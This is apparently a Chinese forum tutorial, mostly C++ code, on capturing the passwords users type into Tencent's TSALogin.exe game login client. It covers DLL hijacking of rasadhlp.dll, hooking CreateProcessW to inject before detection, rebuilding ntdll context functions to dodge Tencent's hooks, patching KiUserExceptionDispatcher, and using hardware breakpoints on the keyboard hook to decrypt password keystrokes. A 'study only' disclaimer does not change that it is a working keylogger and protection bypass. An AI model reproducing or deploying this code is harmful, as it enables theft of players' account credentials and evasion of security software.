本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担。 1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件 因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
2、工作dll(tencent_Login.dll),Hook?CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
3、设置硬件断点监视键盘输入,?众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现?加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook?RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了?0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下 梦无极,硬件断点?hook的思路是从他的过驱动保护教程教程里面学习的 yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
欢迎各位朋友加我交流技术?QQ:1536854253
此文重点: ?1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂) 2、安装消息勾子,判断当前输入焦点 3、自己构造ZwSetContextThread,和ZwGetContextThread 4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码 5、实现解密
unsigned int WINAPI _WorkThread(void * lpPram) { TCHAR tcWorkDll[MAX_PATH]; GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH); *( _tcsrchr(g_tcExeDir,'\\') +1 )=0; _stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll")); hTestModule=LoadLibrary(tcWorkDll); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) {//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等 if(IsSpecifyProcessName(_T("tgp_daemon.exe"))) { hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL); } using namespace AheadLib; return Load(); } else if (ul_reason_for_call == DLL_PROCESS_DETACH) { using namespace AheadLib; Free(); } return TRUE; }
2、工作dll(tencent_Login.dll),Hook?CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation ) { BOOL bRet =FALSE; CHAR tcText[MAX_PATH]; if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) ) { GetModuleFileNameA(g_hMod,tcText,MAX_PATH); return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes, bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess); } return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes, bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation); } void StartWork() { DetourTransactionBegin(); DetourUpdateThread(GetCurrentThread()); TCHAR tcText[100]; TCHAR lpProcessName[50]={0} ; _tcscpy_s(lpProcessName, GetCurProcessName().c_str()); if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) ) { DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess); //HOOK CreateProcess,实现完美注入TSALogin.exe } if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) ) { DWORD dwOldProtect; //自己构造 ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的 ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread"); ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread"); ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr); ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr); VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect); VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect); *(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9; *(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9; *(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5; *(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread -(DWORD)g_ZwSetContextThreadZone -5; /*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone); OutputDebugString(tcText);*/ //Hook RtlDispatchException ProcessDispatchException(); //设置硬件断点,监视键盘输入 g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId()); OutputDebugString(_T("TSALogin.exe注入成功")); } DetourTransactionCommit(); } extern void StartWork(); BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: g_hMod=hModule; StartWork(); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; }
3、设置硬件断点监视键盘输入,?众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现?加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook?RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext) { //好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错 //g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入 //把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理 if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr ) { g_dwEbp = pContext->Ebp; g_dwEsp=pContext->Esp; g_dwJmpAddr =pContext->Eip+5; __asm { mov ebp,g_dwEbp; //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境 mov esp,g_dwEsp; push ebp; //手动构造栈空间 mov ebp,esp; push [ebp+0x10]; //这3个参数是需要的,注意压栈顺序 push [ebp+0xC]; push [ebp+0x8]; call FilterLowLevelMouseProc; mov esp,ebp; //还原栈空间了 pop ebp; //这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败 push 0x99354893; jmp g_dwJmpAddr; } return TRUE; } return FALSE; }ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext ) { ULONG uRet = 0; if(RtlDispatchException(pExcptRec,pContext)) uRet= 1; else uRet= m_fnRtlDispatchException(pExcptRec,pContext); return uRet; } void ProcessDispatchException() { TCHAR tcText[100]; DWORD dwOldProtect; DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher"); _stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher); OutputDebugString(tcText); VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect); if (dwKiUserExceptionDispatcher) { while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8) dwKiUserExceptionDispatcher++; //XP~Win7正常,Win8尚无缘得见 m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher); //得到原函数地址 //Hook DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5; WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr); } }
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了?0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
bool bPlainCase =true; int g_Key =0; void WINAPI FilterLowLevelMouseProc( _In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam ) { if(nCode == HC_ACTION) { PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam; if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) ) { if( ::GetFocus() == g_hPwd ) //判断是不是在输入密码 { if( bPlainCase ) //第一次来的是原始虚键码 { if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9 pKdb->vkCode -=48; g_Key=pKdb->vkCode; bPlainCase=false; }else //加密的虚键码了 { if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) pKdb->vkCode -=48; SetKeyPair(pKdb->vkCode,g_Key); //用std::
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
LRESULT CALLBACK GetMsgProc(__in int code,__in WPARAM wParam,__in LPARAM lParam ) { if( code == HC_ACTION ) { MSG * pMsg =(MSG*)lParam; LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE); if( !g_hPwd && dwStyle & ES_PASSWORD && !( dwStyle&ES_MULTILINE) ) { g_hPwd=pMsg->hwnd; } if( !g_hKeyboardHook && ::GetFocus() == g_hPwd) { if( GetModuleHandle(_T("fszwd.dat")) ) SetMintor(); } if( pMsg->message ==WM_CHAR ) //用户输入的字符(已加密) { TCHAR tcTetxt[50]={0}; SHORT sVk=0; SHORT sOrgVk=0; if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd ) //同样判断是不是在输入密码 { if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' ) //大写的字母不能直接翻译成虚键码 sVk = VkKeyScan(pMsg->wParam+0x20); else sVk = VkKeyScan(pMsg->wParam); sOrgVk = GetPlainVkcode(sVk); //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了 if( sOrgVk ) //解密 { _stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk); }else _stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam); }else { _stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam); } OutputDebugString(tcTetxt); } } return CallNextHookEx(0,code,wParam,lParam); }
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下 梦无极,硬件断点?hook的思路是从他的过驱动保护教程教程里面学习的 yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
欢迎各位朋友加我交流技术?QQ:1536854253
收藏的用户(0) X
正在加载信息~
推荐阅读
站点信息
- 文章2300
- 用户1336
- 访客10874535
每日一句
The key to success is to focus on goals, not obstacles.
成功的关键是专注于目标,而非障碍。
成功的关键是专注于目标,而非障碍。
新会员